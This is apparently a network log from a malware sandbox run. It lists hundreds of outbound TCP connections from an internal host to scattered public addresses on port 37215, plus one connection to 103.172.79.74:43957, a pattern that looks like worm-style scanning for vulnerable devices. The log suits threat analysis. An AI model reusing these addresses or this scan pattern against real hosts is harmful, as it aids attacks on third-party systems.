Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.199.157.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.140.6.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.210.31.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.188.7.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 211.107.25.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 116.156.253.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.217.18.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.199.59.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.153.188.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.11.186.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.118.92.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 87.221.167.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.175.23.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.111.79.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.68.155.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.139.94.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.66.231.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.127.111.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.67.207.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.55.187.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.172.82.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.104.46.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.112.5.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.123.20.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.231.125.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.158.238.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 151.232.41.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.148.185.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.239.163.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 159.19.218.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.42.15.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.100.216.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.244.107.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.87.63.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.72.30.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.234.14.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.206.219.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.229.255.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.232.6.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.166.176.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 12.131.152.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.192.159.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.5.193.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 138.142.70.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 111.66.19.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 81.140.27.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.29.150.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.82.109.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.128.26.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.2.196.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.15.58.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 135.238.177.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.212.117.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.207.241.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.178.91.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 171.42.65.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 222.88.103.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.127.191.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.104.147.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.39.241.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.183.150.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.83.42.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.132.119.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 45.31.56.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 184.251.218.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.110.113.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.90.69.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 143.131.31.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 166.13.229.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.116.128.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.31.224.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.132.162.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.209.241.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.81.171.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.122.101.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.147.64.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 156.122.157.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.193.64.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 169.223.197.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.237.198.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.187.191.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 205.190.242.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.30.205.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 159.83.254.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.234.74.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.116.122.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.0.76.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.173.4.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 51.125.33.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.241.107.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.88.254.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.72.190.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.122.42.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.221.236.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.75.181.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 4.172.209.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.143.134.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 202.240.28.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.221.102.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 91.126.81.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.197.73.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.143.3.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 124.122.175.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.159.198.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 143.174.167.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.139.179.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 143.178.199.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.173.9.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.229.76.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.39.52.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 174.245.251.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.136.11.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.182.227.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.130.100.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 57.207.38.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 180.226.110.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.57.208.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.177.248.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 75.109.187.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.145.55.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.21.240.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.7.124.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.198.220.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.113.7.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.5.154.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.182.203.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.65.21.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.161.194.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.35.37.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 144.122.53.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.111.132.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.139.207.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 68.220.120.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.117.143.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.125.88.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.187.198.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.94.163.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.58.227.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.191.212.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.185.102.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.221.119.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.47.246.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 31.222.183.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.239.189.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 133.23.111.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.193.111.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.109.92.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.245.242.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.124.188.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.14.231.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.228.62.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.140.208.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.205.106.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.238.88.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.49.107.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.164.106.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 72.192.200.98:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.20.72.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.241.78.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.55.235.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.34.23.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.83.63.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.96.108.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.15.133.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.187.54.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.237.24.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 20.150.168.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.243.148.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.149.176.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 49.40.147.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 23.226.172.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.66.169.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.152.167.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.28.31.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.53.162.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.255.158.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.248.156.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.207.185.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.79.129.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.11.179.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.196.191.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 19.130.218.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 35.95.207.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.112.30.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.190.175.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.210.123.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.68.134.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.233.57.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.201.0.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.197.210.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.95.246.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.210.205.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.81.198.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 176.10.23.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.220.150.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 83.232.164.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 82.251.146.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.118.90.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:56862 -> 103.172.79.74:43957
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 167.135.39.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.50.48.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.62.6.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.62.160.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 175.135.122.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 165.35.152.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.27.148.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 132.113.204.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.249.144.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 123.51.234.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.22.112.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.125.75.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.97.155.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 65.225.242.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 129.185.35.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.183.12.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.114.188.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.124.109.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 208.191.35.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.85.100.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 44.93.44.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.141.242.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.66.79.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.168.168.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.242.215.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.80.103.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 65.69.101.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.27.234.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.232.193.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 101.110.142.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.255.220.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 147.243.120.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 42.13.143.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.173.4.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.250.122.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 72.194.249.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.94.172.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 179.114.180.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.3.153.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 24.152.204.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 201.142.50.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 53.113.149.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.186.67.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 149.183.207.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.223.35.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.196.118.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.189.133.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.46.28.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.84.64.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 112.194.63.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 173.42.48.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 169.66.36.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.172.111.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.188.11.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.205.66.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 50.184.23.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 20.222.40.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 67.146.62.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 78.157.241.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 65.38.252.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.110.206.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 91.110.13.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 108.214.232.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.227.72.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 194.25.200.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 191.170.94.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.206.5.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 158.9.18.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 65.229.107.166:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.68.153.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.126.253.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.61.137.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.7.35.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.215.168.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 165.233.22.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.97.77.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 59.57.13.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.118.39.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.148.59.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.199.180.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.169.120.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.246.37.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.184.163.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 38.5.7.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 106.121.107.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 166.138.182.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.236.174.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.97.184.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.129.217.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.0.200.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.14.37.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 218.193.164.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.116.246.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.84.153.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.106.88.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 61.24.173.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.76.64.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.150.42.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.88.227.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.167.231.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.93.146.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.110.122.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 63.47.112.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 198.5.113.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.221.204.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.152.23.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 200.133.0.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 183.116.251.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.87.34.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.185.244.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 9.34.147.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 137.204.161.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 97.135.207.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 156.152.82.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.135.248.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.115.53.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.65.68.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.175.140.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.177.63.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.249.95.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 145.77.19.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 64.77.24.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.97.27.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 211.71.15.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 181.30.23.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.106.142.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.105.96.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 124.52.230.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 58.197.106.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.121.103.115:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.52.207.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 202.66.38.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 78.100.171.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.98.210.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.221.57.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.224.43.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 112.125.185.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 97.0.102.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.206.178.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.118.158.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.28.94.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.84.252.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.170.249.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.94.252.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.84.194.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.89.143.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.111.149.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.224.254.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.233.115.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.106.32.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.202.158.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.224.131.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.45.101.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.159.93.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.57.203.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.230.126.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.40.119.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.5.70.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 70.99.234.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.126.236.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.231.226.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.225.234.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 129.184.78.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 157.149.64.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 41.18.203.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:13348 -> 197.205.89.219:37215
